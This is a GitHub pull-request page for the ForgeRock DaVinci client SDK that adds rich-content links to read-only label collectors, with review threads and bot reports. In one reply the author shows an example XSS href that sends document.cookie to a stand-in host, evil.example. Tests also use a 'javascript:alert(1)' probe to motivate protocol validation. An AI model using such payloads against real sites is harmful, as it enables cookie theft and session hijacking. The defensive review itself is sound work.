Open
Conversation
📝 WalkthroughWalkthroughReadOnlyCollector.output now always includes Changes
Sequence Diagram(s)sequenceDiagram
participant API as DaVinci API
participant Factory as Collector Factory
participant Normalizer as normalizeReplacements()
participant Component as Label Component
API->>Factory: Provide ReadOnlyField (content + optional richContent.replacements)
activate Factory
Factory->>Normalizer: richContent.replacements (keyed object)
activate Normalizer
Normalizer-->>Factory: RichContentLink[] (array with keys preserved)
deactivate Normalizer
Factory-->>Component: ReadOnlyCollector.output (content: string, richContent)
deactivate Factory
activate Component
Component->>Component: Parse richContent.content for {{key}} tokens
Component->>Component: Map tokens to RichContentLink[] and render
Component-->>Component: Render text nodes and <a> tags (href, target, rel)
deactivate Component
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~30 minutes Possibly related PRs
Suggested reviewers
Poem
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches📝 Generate docstrings
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Review rate limit: 0/1 reviews remaining, refill in 60 minutes.Comment |
Contributor
|
View your CI Pipeline Execution ↗ for commit d8d7997
☁️ Nx Cloud last updated this comment at |
🦋 Changeset detectedLatest commit: 08a8bcd The changes in this PR will be included in the next version bump. This PR includes changesets to release 12 packages
Not sure what this means? Click here to learn what changesets are. Click here if you're a maintainer who wants to add another changeset to this PR |
Codecov Report✅ All modified and coverable lines are covered by tests. ❌ Your project status has failed because the head coverage (17.61%) is below the target coverage (40.00%). You can increase the head coverage or adjust the target coverage. Additional details and impacted files@@ Coverage Diff @@
## main #568 +/- ##
===========================================
- Coverage 70.90% 17.61% -53.29%
===========================================
Files 53 154 +101
Lines 2021 24183 +22162
Branches 377 1152 +775
===========================================
+ Hits 1433 4261 +2828
- Misses 588 19922 +19334
🚀 New features to boost your workflow:
|
@forgerock/davinci-client
@forgerock/device-client
@forgerock/journey-client
@forgerock/oidc-client
@forgerock/protect
@forgerock/sdk-types
@forgerock/sdk-utilities
@forgerock/iframe-manager
@forgerock/sdk-logger
@forgerock/sdk-oidc
@forgerock/sdk-request-middleware
@forgerock/storage
commit: |
Contributor
|
Deployed 5a86b7e to https://ForgeRock.github.io/ping-javascript-sdk/pr-568/5a86b7e7e9a242a049547b09627aa0693ba889cd branch gh-pages in ForgeRock/ping-javascript-sdk |
Contributor
📦 Bundle Size Analysis📦 Bundle Size Analysis🚨 Significant Changes🔻 @forgerock/device-client - 0.0 KB (-10.0 KB, -100.0%) ➖ No Changes➖ @forgerock/device-client - 10.0 KB 14 packages analyzed • Baseline from latest Legend🆕 New package ℹ️ How bundle sizes are calculated
🔄 Updated automatically on each push to this PR |
ryanbas21
force-pushed
the
rich-content-links
branch
4 times, most recently
from
3e5d66d to
d6223eb
Compare
![nx-cloud[bot]](https://avatars.githubusercontent.com/in/80458?s=60&v=4){kind=small}
This comment was marked as outdated.
This comment was marked as outdated.
Sorry, something went wrong.
ryanbas21
force-pushed
the
rich-content-links
branch
3 times, most recently
from
9e2532b to
0b3a34e
Compare
ryanbas21
changed the title
cerebrl
requested changes
Apr 24, 2026
| label: string; | ||
| type: string; | ||
| content: string; | ||
| richContent: CollectorRichContent; |
Collaborator
There was a problem hiding this comment.
Rather than adding more properties to the base collector, can we just add a new collector type for this rich content collector? This new collector can just extent the base collector adding the new property on the output. Does that make sense?
Comment on lines
+736
to
+738
| if (!['https:', 'http:'].includes(href.protocol)) { | ||
| return { ok: false, error: `Unsafe href protocol for key: ${key}` }; | ||
| } |
Collaborator
There was a problem hiding this comment.
What are we preventing here? I see we're rejecting URLs without a protocol, but I'm not aware of what this prevents.
Collaborator
Author
There was a problem hiding this comment.
It's preventing someone from sending bad javascript through a comprimised tenant or man in the middle attack.
{
"replacements": {
"terms": {
"type": "link",
"value": "terms",
"href": "javascript:fetch('https://evil.example/?c='+document.cookie)"
}
}
}
We can remove if you don't like it.
Comment on lines
+820
to
+831
| // Validate that all {{key}} references in the template have corresponding replacements | ||
| const templateKeys = [...field.richContent.content.matchAll(/\{\{(\w+)\}\}/g)].map((m) => m[1]); | ||
| const apiReplacements = field.richContent.replacements ?? {}; | ||
| const missingKeys = templateKeys.filter((k) => !(k in apiReplacements)); | ||
| const templateErrors = missingKeys.map((k) => `Missing replacement for key: {{${k}}}`); | ||
|
|
||
| const validationResult = | ||
| templateErrors.length === 0 ? validateReplacements(apiReplacements) : null; | ||
|
|
||
| const replacements = validationResult?.ok ? validationResult.replacements : []; | ||
| const validationErrors = validationResult && !validationResult.ok ? [validationResult.error] : []; | ||
| const errors = [...fieldErrors, ...templateErrors, ...validationErrors]; |
Collaborator
There was a problem hiding this comment.
I think this is a cool idea, but I'm unsure if we are the right ones to do this validation. I feel like DaVinci should be the one to validate all of this as they are the source. If this type of error exists within this data structure, the implementing application would pick it up without our help. Right? Or, am I missing something?
Comment on lines
+803
to
+817
| const errors = fieldErrors; | ||
| return { | ||
| category: 'NoValueCollector', | ||
| error: errors.length > 0 ? errors.join(' ') : null, | ||
| type: 'ReadOnlyCollector', | ||
| id, | ||
| name: id, | ||
| output: { | ||
| key: id, | ||
| label: field.content, | ||
| type: field.type, | ||
| content: field.content, | ||
| richContent: { content: field.content, replacements: [] }, | ||
| }, | ||
| }; |
Collaborator
There was a problem hiding this comment.
Is there a reason we don't just call the same function we called before this change: returnNoValueCollector?
Contributor
vatsalparikh
left a comment
vatsalparikh
left a comment
There was a problem hiding this comment.
Looks good overall, suggested minor changes
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 3
🧹 Nitpick comments (1)
packages/davinci-client/api-report/davinci-client.types.api.md (1)
1409-1415: Document theReadOnlyCollector.outputbreaking shape change for SDK consumers.
output.content/output.richContentintroduction onReadOnlyCollectoris a public API contract change. Please add/confirm a migration note (release notes or upgrade guide) so downstream consumers update rendering logic safely.Also applies to: 1418-1423
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@packages/davinci-client/api-report/davinci-client.types.api.md` around lines 1409 - 1415, Add a migration note documenting the breaking change to ReadOnlyCollector.output: callers must now handle output.content (string) and output.richContent (CollectorRichContent) in addition to the previous NoValueCollectorBase<'ReadOnlyCollector'>['output'] shape; update release notes or an upgrade guide section to show the old vs new output shape, include example pseudo-code showing how to fallback to prior rendering (e.g., prefer output.richContent when present, otherwise use output.content), and reference the affected types ReadOnlyCollector, output.content, output.richContent, and NoValueCollectorBase to help consumers locate the impacted logic.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.changeset/rich-content-links.md:
- Around line 1-13: Update the changeset frontmatter for
'@forgerock/davinci-client' from "minor" to "major" because the documented
breaking change (ReadOnlyCollector.output.content changing type) requires a
major version bump; modify the top YAML block so the package entry reads
"'@forgerock/davinci-client': major" and keep the rest of the changeset content
intact.
In `@e2e/davinci-app/components/label.ts`:
- Around line 20-45: The loop currently drops unmatched placeholders and the
regex /\{\{(\w+)\}\}/ only matches word chars; change the regex to capture any
non-} key (e.g. /\{\{([^}]+)\}\}/) so keys with punctuation are preserved, and
when no replacement is found (replacementMap.get(...) is undefined) append the
original placeholder string (`'{{' + key + '}}'`) as a text node instead of
skipping it; update the code locations using variables/identifiers segments,
replacementMap, richContent.content and richContent.replacements, and the for
loop handling replacement/type === 'link' to implement this behavior.
In `@packages/davinci-client/src/lib/collector.utils.ts`:
- Around line 724-733: normalizeReplacements copies replacement.href directly
which allows unsafe schemes (e.g., javascript:, data:) to reach the renderer;
update normalizeReplacements to validate and reject or omit disallowed hrefs
before returning the RichContentLink array: check replacement.href in
normalizeReplacements and only include href when it matches an allowlist of safe
schemes (e.g., http, https, mailto) or a safe absolute/relative URL pattern,
otherwise drop the href property (or replace with null/undefined) so the label
renderer never receives unsafe hrefs.
---
Nitpick comments:
In `@packages/davinci-client/api-report/davinci-client.types.api.md`:
- Around line 1409-1415: Add a migration note documenting the breaking change to
ReadOnlyCollector.output: callers must now handle output.content (string) and
output.richContent (CollectorRichContent) in addition to the previous
NoValueCollectorBase<'ReadOnlyCollector'>['output'] shape; update release notes
or an upgrade guide section to show the old vs new output shape, include example
pseudo-code showing how to fallback to prior rendering (e.g., prefer
output.richContent when present, otherwise use output.content), and reference
the affected types ReadOnlyCollector, output.content, output.richContent, and
NoValueCollectorBase to help consumers locate the impacted logic.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 14a01a66-a848-4842-a45e-e84b944e5dcf
📒 Files selected for processing (12)
.changeset/rich-content-links.md.nxignore.opensource/forgerock-javascript-sdke2e/davinci-app/components/label.tspackages/davinci-client/api-report/davinci-client.api.mdpackages/davinci-client/api-report/davinci-client.types.api.mdpackages/davinci-client/src/lib/collector.types.test-d.tspackages/davinci-client/src/lib/collector.types.tspackages/davinci-client/src/lib/collector.utils.test.tspackages/davinci-client/src/lib/collector.utils.tspackages/davinci-client/src/lib/davinci.types.tspackages/davinci-client/src/lib/mock-data/mock-form-fields.data.ts
Comment on lines
+1
to
+13
| --- | ||
| '@forgerock/davinci-client': minor | ||
| --- | ||
|
|
||
| **Breaking change**: `ReadOnlyCollector.output.content` now returns a plain `string` (the label text) instead of `ContentPart[]`. | ||
|
|
||
| A new `ReadOnlyCollector.output.richContent` property is always present and contains the structured link data when a LABEL field includes `richContent`. Its shape is `CollectorRichContent` — a template string with `{{key}}` placeholders (`content`) and a validated `replacements` array (`ValidatedReplacement[]`). When no `richContent` is present, `replacements` is an empty array. | ||
|
|
||
| **Removed type exports**: `ContentPart`, `TextContentPart`, `LinkContentPart` | ||
|
|
||
| **New type exports**: `RichContentLink`, `ValidatedReplacement`, `CollectorRichContent` | ||
|
|
||
| Includes href protocol validation that rejects unsafe URI schemes (e.g. `javascript:`, `data:`). |
There was a problem hiding this comment.
Make this changeset a major bump.
The note explicitly documents a breaking API change (ReadOnlyCollector.output.content changes type), but the frontmatter is still minor. That will under-version @forgerock/davinci-client.
Suggested fix
- '@forgerock/davinci-client': minor
+ '@forgerock/davinci-client': major🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.changeset/rich-content-links.md around lines 1 - 13, Update the changeset
frontmatter for '@forgerock/davinci-client' from "minor" to "major" because the
documented breaking change (ReadOnlyCollector.output.content changing type)
requires a major version bump; modify the top YAML block so the package entry
reads "'@forgerock/davinci-client': major" and keep the rest of the changeset
content intact.
Comment on lines
+20
to
+45
| // Interpolate the template by splitting on {{key}} and inserting links | ||
| const segments = richContent.content.split(/\{\{(\w+)\}\}/); | ||
| const replacementMap = new Map(richContent.replacements.map((r) => [r.key, r])); | ||
|
|
||
| for (let i = 0; i < segments.length; i++) { | ||
| if (i % 2 === 0) { | ||
| // Text segment | ||
| if (segments[i]) { | ||
| p.appendChild(document.createTextNode(segments[i])); | ||
| } | ||
| } else { | ||
| // Replacement key | ||
| const replacement = replacementMap.get(segments[i]); | ||
| if (replacement?.type === 'link') { | ||
| const a = document.createElement('a'); | ||
| a.href = replacement.href; | ||
| a.textContent = replacement.value; | ||
| if (replacement.target) { | ||
| a.target = replacement.target; | ||
| if (replacement.target === '_blank') { | ||
| a.rel = 'noopener noreferrer'; | ||
| } | ||
| } | ||
| p.appendChild(a); | ||
| } | ||
| } |
There was a problem hiding this comment.
Preserve unmatched placeholders instead of dropping them.
The loop currently skips any token without a matching link replacement, so a typo or unsupported placeholder silently disappears from the rendered label. The \w+ matcher also excludes keys containing punctuation.
♻️ Suggested fix
const replacement = replacementMap.get(segments[i]);
if (replacement?.type === 'link') {
const a = document.createElement('a');
a.href = replacement.href;
a.textContent = replacement.value;
if (replacement.target) {
a.target = replacement.target;
if (replacement.target === '_blank') {
a.rel = 'noopener noreferrer';
}
}
p.appendChild(a);
+ } else {
+ p.appendChild(document.createTextNode(`{{${segments[i]}}}`));
}🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@e2e/davinci-app/components/label.ts` around lines 20 - 45, The loop currently
drops unmatched placeholders and the regex /\{\{(\w+)\}\}/ only matches word
chars; change the regex to capture any non-} key (e.g. /\{\{([^}]+)\}\}/) so
keys with punctuation are preserved, and when no replacement is found
(replacementMap.get(...) is undefined) append the original placeholder string
(`'{{' + key + '}}'`) as a text node instead of skipping it; update the code
locations using variables/identifiers segments, replacementMap,
richContent.content and richContent.replacements, and the for loop handling
replacement/type === 'link' to implement this behavior.
Comment on lines
+724
to
+733
| export function normalizeReplacements( | ||
| replacements: Record<string, RichContentReplacement>, | ||
| ): RichContentLink[] { | ||
| return Object.entries(replacements).map(([key, replacement]) => ({ | ||
| key, | ||
| type: replacement.type, | ||
| value: replacement.value, | ||
| href: replacement.href, | ||
| ...(replacement.target && { target: replacement.target }), | ||
| })); |
There was a problem hiding this comment.
Reject unsafe hrefs before normalizing replacements.
normalizeReplacements() copies href straight through, and the label renderer later assigns that value to <a href>. That still leaves javascript: / data: payloads intact despite the stated allowlist.
🔒 Suggested fix
export function normalizeReplacements(
replacements: Record<string, RichContentReplacement>,
): RichContentLink[] {
- return Object.entries(replacements).map(([key, replacement]) => ({
- key,
- type: replacement.type,
- value: replacement.value,
- href: replacement.href,
- ...(replacement.target && { target: replacement.target }),
- }));
+ return Object.entries(replacements).reduce<RichContentLink[]>((acc, [key, replacement]) => {
+ try {
+ const protocol = new URL(replacement.href).protocol;
+ if (protocol !== 'http:' && protocol !== 'https:') return acc;
+ } catch {
+ return acc;
+ }
+
+ acc.push({
+ key,
+ type: replacement.type,
+ value: replacement.value,
+ href: replacement.href,
+ ...(replacement.target && { target: replacement.target }),
+ });
+ return acc;
+ }, []);
}🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@packages/davinci-client/src/lib/collector.utils.ts` around lines 724 - 733,
normalizeReplacements copies replacement.href directly which allows unsafe
schemes (e.g., javascript:, data:) to reach the renderer; update
normalizeReplacements to validate and reject or omit disallowed hrefs before
returning the RichContentLink array: check replacement.href in
normalizeReplacements and only include href when it matches an allowlist of safe
schemes (e.g., http, https, mailto) or a safe absolute/relative URL pattern,
otherwise drop the href property (or replace with null/undefined) so the label
renderer never receives unsafe hrefs.
8bfc181 to
34894a5
Compare
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@packages/davinci-client/src/lib/collector.utils.test.ts`:
- Around line 869-892: Update the test that currently expects passthrough of
unsafe "javascript:" links so it asserts the collector filters or rejects
non-allowlisted schemes; specifically modify the case using the ReadOnlyField
with richContent and the call to returnReadOnlyCollector to expect
result.output.richContent.replacements to either omit the unsafe entry or have
its href cleared/normalized (e.g., null/empty or removed) and that result.error
indicates a validation/filter occurred; apply the same change to the other
occurrence around lines 1332-1344 so both tests assert only http/https are
allowed and non-allowlisted schemes are not preserved.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 82b71591-16dc-46e8-b5ac-ecf3a18a6ff3
📒 Files selected for processing (12)
.changeset/rich-content-links.md.nxignore.opensource/forgerock-javascript-sdke2e/davinci-app/components/label.tspackages/davinci-client/api-report/davinci-client.api.mdpackages/davinci-client/api-report/davinci-client.types.api.mdpackages/davinci-client/src/lib/collector.types.test-d.tspackages/davinci-client/src/lib/collector.types.tspackages/davinci-client/src/lib/collector.utils.test.tspackages/davinci-client/src/lib/collector.utils.tspackages/davinci-client/src/lib/davinci.types.tspackages/davinci-client/src/lib/mock-data/mock-form-fields.data.ts
✅ Files skipped from review due to trivial changes (5)
- packages/davinci-client/src/lib/mock-data/mock-form-fields.data.ts
- .opensource/forgerock-javascript-sdk
- .nxignore
- packages/davinci-client/src/lib/collector.utils.ts
- packages/davinci-client/api-report/davinci-client.types.api.md
🚧 Files skipped from review as they are similar to previous changes (4)
- e2e/davinci-app/components/label.ts
- packages/davinci-client/src/lib/collector.types.test-d.ts
- .changeset/rich-content-links.md
- packages/davinci-client/src/lib/collector.types.ts
Comment on lines
+869
to
+892
| it('should pass through unsafe-looking hrefs unchanged (consumer is responsible for sanitization)', () => { | ||
| const field: ReadOnlyField = { | ||
| type: 'LABEL', | ||
| content: 'Click the link', | ||
| richContent: { | ||
| content: 'Click {{bad}}', | ||
| replacements: { | ||
| bad: { | ||
| type: 'link', | ||
| value: 'here', | ||
| href: 'javascript:alert(1)', | ||
| }, | ||
| }, | ||
| }, | ||
| }; | ||
|
|
||
| const result = returnReadOnlyCollector(field, 0); | ||
|
|
||
| expect(result.error).toBeNull(); | ||
| expect(result.output.richContent).toEqual({ | ||
| content: 'Click {{bad}}', | ||
| replacements: [{ key: 'bad', type: 'link', value: 'here', href: 'javascript:alert(1)' }], | ||
| }); | ||
| }); |
There was a problem hiding this comment.
Unsafe protocol passthrough is being codified in tests.
Lines 879 and 1337 currently assert javascript: links are accepted unchanged. That conflicts with the PR security objective (allowlist http:/https: only) and can preserve XSS-prone behavior. Please change these expectations to assert rejection/filtering of non-allowlisted schemes instead.
Also applies to: 1332-1344
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@packages/davinci-client/src/lib/collector.utils.test.ts` around lines 869 -
892, Update the test that currently expects passthrough of unsafe "javascript:"
links so it asserts the collector filters or rejects non-allowlisted schemes;
specifically modify the case using the ReadOnlyField with richContent and the
call to returnReadOnlyCollector to expect result.output.richContent.replacements
to either omit the unsafe entry or have its href cleared/normalized (e.g.,
null/empty or removed) and that result.error indicates a validation/filter
occurred; apply the same change to the other occurrence around lines 1332-1344
so both tests assert only http/https are allowed and non-allowlisted schemes are
not preserved.
Support RichContent link types by creating a NoValueCollector for it
- Add .nxignore to exclude vendored .opensource/ clone from Nx project graph (was causing duplicate-project errors vs forgerock-verdaccio). - Render authored line breaks in ReadOnlyCollector rich text via white-space: pre-line on the rendered <p>.
ryanbas21
force-pushed
the
rich-content-links
branch
from
34894a5 to
d8d7997
Compare
There was a problem hiding this comment.
♻️ Duplicate comments (2)
e2e/davinci-app/components/label.ts (1)
21-45:⚠️ Potential issue | 🟠 MajorHandle non-word placeholders and keep unresolved tokens visible.
/\{\{(\w+)\}\}/only matches word characters, and the current replacement branch drops any matched placeholder with no corresponding entry. That breaks labels for keys liketerms-linkand can silently delete user-visible content on a mismatch.♻️ Proposed fix
- const segments = richContent.content.split(/\{\{(\w+)\}\}/); + const segments = richContent.content.split(/\{\{([^}]+)\}\}/); const replacementMap = new Map(richContent.replacements.map((r) => [r.key, r])); @@ if (replacement?.type === 'link') { const a = document.createElement('a'); a.href = replacement.href; a.textContent = replacement.value; if (replacement.target) { a.target = replacement.target; if (replacement.target === '_blank') { a.rel = 'noopener noreferrer'; } } p.appendChild(a); + } else { + p.appendChild(document.createTextNode(`{{${segments[i]}}}`)); } } }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@e2e/davinci-app/components/label.ts` around lines 21 - 45, The split regex only matches \w+ and thus misses keys like "terms-link" and the code drops unresolved placeholders; update the tokenization and fallback handling: change the regex used on richContent.content (currently /\{\{(\w+)\}\}/) to one that accepts non-word characters in keys (e.g., /\{\{([^}]+)\}\}/) so segments include keys like "terms-link", and in the loop where you build replacementMap and process segments (symbols: segments, replacementMap, replacement, p.appendChild) ensure that when replacementMap.get(...) returns undefined you append the original token text (e.g., "{{" + key + "}}") as a text node instead of dropping it, while preserving existing link creation logic for replacement.type === 'link'.packages/davinci-client/src/lib/collector.utils.ts (1)
718-737:⚠️ Potential issue | 🔴 CriticalValidate
hrefbefore exposing replacements to consumers.
normalizeReplacements()currently forwards everyhrefverbatim.e2e/davinci-app/components/label.tslater assigns that value straight to<a href>, sojavascript:/data:payloads still reach the browser despite the allowlist described for this feature. The runtime test inpackages/davinci-client/src/lib/collector.utils.test.ts:800-890is also locking that unsafe behavior in.🔒 Proposed fix
/** * `@function` normalizeReplacements - Flattens the API's keyed * `Record<string, RichContentReplacement>` into an array of `RichContentLink` - * with the original key carried on each entry. Hrefs are passed through - * unmodified — consumers are responsible for sanitizing before rendering. + * with the original key carried on each entry. Only http/https hrefs are preserved. @@ export function normalizeReplacements( replacements: Record<string, RichContentReplacement>, ): RichContentLink[] { - return Object.entries(replacements).map(([key, replacement]) => ({ - key, - type: replacement.type, - value: replacement.value, - href: replacement.href, - ...(replacement.target && { target: replacement.target }), - })); + return Object.entries(replacements).flatMap(([key, replacement]) => { + try { + const { protocol } = new URL(replacement.href); + if (protocol !== 'http:' && protocol !== 'https:') { + return []; + } + } catch { + return []; + } + + return [ + { + key, + type: replacement.type, + value: replacement.value, + href: replacement.href, + ...(replacement.target && { target: replacement.target }), + }, + ]; + }); }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@packages/davinci-client/src/lib/collector.utils.ts` around lines 718 - 737, normalizeReplacements currently forwards any replacement.href to consumers which allows javascript:/data: payloads; add a sanitization step in normalizeReplacements to validate hrefs (implement a small helper like isSafeHref) and only include href in the returned RichContentLink when the value is an allowed scheme (e.g. http, https, mailto, tel) or a safe relative URL (e.g. starts with "/" or "#"); for disallowed or malformed hrefs omit the href property (or set it undefined) so consumers cannot render unsafe links, and update the corresponding unit tests that currently expect unsafe href passthrough to assert that unsafe hrefs are stripped.
🧹 Nitpick comments (1)
packages/davinci-client/src/lib/collector.types.ts (1)
539-548: Treat the newReadOnlyCollector.outputshape as a public API change.This now makes
richContentpart of the required exported contract forReadOnlyCollector.output. Any downstream TS consumers that build collector fixtures or mocks structurally will need updating, so this should ship with a migration note / semver review rather than as a transparent internal refactor.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@packages/davinci-client/src/lib/collector.types.ts` around lines 539 - 548, The change made richContent a required field on ReadOnlyCollector.output which is a public API; revert the breaking change by making richContent optional (e.g., change richContent: CollectorRichContent to richContent?: CollectorRichContent) on the ReadOnlyCollector output shape (referencing ReadOnlyCollector, NoValueCollectorBase, output, and CollectorRichContent), or alternatively move the new richContent property into an internal/non-exported type and keep the exported ReadOnlyCollector.output unchanged; implement the optional/property move and add a brief comment noting why it's optional to avoid forcing downstream fixture/mocking updates.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Duplicate comments:
In `@e2e/davinci-app/components/label.ts`:
- Around line 21-45: The split regex only matches \w+ and thus misses keys like
"terms-link" and the code drops unresolved placeholders; update the tokenization
and fallback handling: change the regex used on richContent.content (currently
/\{\{(\w+)\}\}/) to one that accepts non-word characters in keys (e.g.,
/\{\{([^}]+)\}\}/) so segments include keys like "terms-link", and in the loop
where you build replacementMap and process segments (symbols: segments,
replacementMap, replacement, p.appendChild) ensure that when
replacementMap.get(...) returns undefined you append the original token text
(e.g., "{{" + key + "}}") as a text node instead of dropping it, while
preserving existing link creation logic for replacement.type === 'link'.
In `@packages/davinci-client/src/lib/collector.utils.ts`:
- Around line 718-737: normalizeReplacements currently forwards any
replacement.href to consumers which allows javascript:/data: payloads; add a
sanitization step in normalizeReplacements to validate hrefs (implement a small
helper like isSafeHref) and only include href in the returned RichContentLink
when the value is an allowed scheme (e.g. http, https, mailto, tel) or a safe
relative URL (e.g. starts with "/" or "#"); for disallowed or malformed hrefs
omit the href property (or set it undefined) so consumers cannot render unsafe
links, and update the corresponding unit tests that currently expect unsafe href
passthrough to assert that unsafe hrefs are stripped.
---
Nitpick comments:
In `@packages/davinci-client/src/lib/collector.types.ts`:
- Around line 539-548: The change made richContent a required field on
ReadOnlyCollector.output which is a public API; revert the breaking change by
making richContent optional (e.g., change richContent: CollectorRichContent to
richContent?: CollectorRichContent) on the ReadOnlyCollector output shape
(referencing ReadOnlyCollector, NoValueCollectorBase, output, and
CollectorRichContent), or alternatively move the new richContent property into
an internal/non-exported type and keep the exported ReadOnlyCollector.output
unchanged; implement the optional/property move and add a brief comment noting
why it's optional to avoid forcing downstream fixture/mocking updates.
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 37ea2779-ce52-4606-8473-040287aca17d
📒 Files selected for processing (12)
.changeset/rich-content-links.md.nxignore.opensource/forgerock-javascript-sdke2e/davinci-app/components/label.tspackages/davinci-client/api-report/davinci-client.api.mdpackages/davinci-client/api-report/davinci-client.types.api.mdpackages/davinci-client/src/lib/collector.types.test-d.tspackages/davinci-client/src/lib/collector.types.tspackages/davinci-client/src/lib/collector.utils.test.tspackages/davinci-client/src/lib/collector.utils.tspackages/davinci-client/src/lib/davinci.types.tspackages/davinci-client/src/lib/mock-data/mock-form-fields.data.ts
✅ Files skipped from review due to trivial changes (4)
- .opensource/forgerock-javascript-sdk
- packages/davinci-client/src/lib/mock-data/mock-form-fields.data.ts
- packages/davinci-client/src/lib/davinci.types.ts
- packages/davinci-client/src/lib/collector.utils.test.ts
🚧 Files skipped from review as they are similar to previous changes (3)
- .nxignore
- .changeset/rich-content-links.md
- packages/davinci-client/api-report/davinci-client.api.md
Contributor
There was a problem hiding this comment.
Nx Cloud has identified a flaky task in your failed CI:
🔂 Since the failure was identified as flaky, we triggered a CI rerun by adding an empty commit to this branch.
🎓 Learn more about Self-Healing CI on nx.dev
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
4 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
JIRA Ticket
https://pingidentity.atlassian.net/browse/SDKS-4248
Description
richContentstructure (template + validated replacements array) onReadOnlyCollectorChanges
RichContentReplacement,RichContent(with optionalreplacements)RichContentLink,ValidatedReplacement(extensible union),CollectorRichContent,ReadOnlyCollectorBasevalidateReplacements()— validates hrefs, convertsRecordto array withkeyfieldreturnReadOnlyCollector()—output.contentis plain text string,output.richContentis always present with template and validated replacements arrayjavascript:,data:, and other unsafe URI schemes (allowlist:http:,https:only)Collector Output Shape
Summary by CodeRabbit
New Features
Bug Fixes
Breaking Changes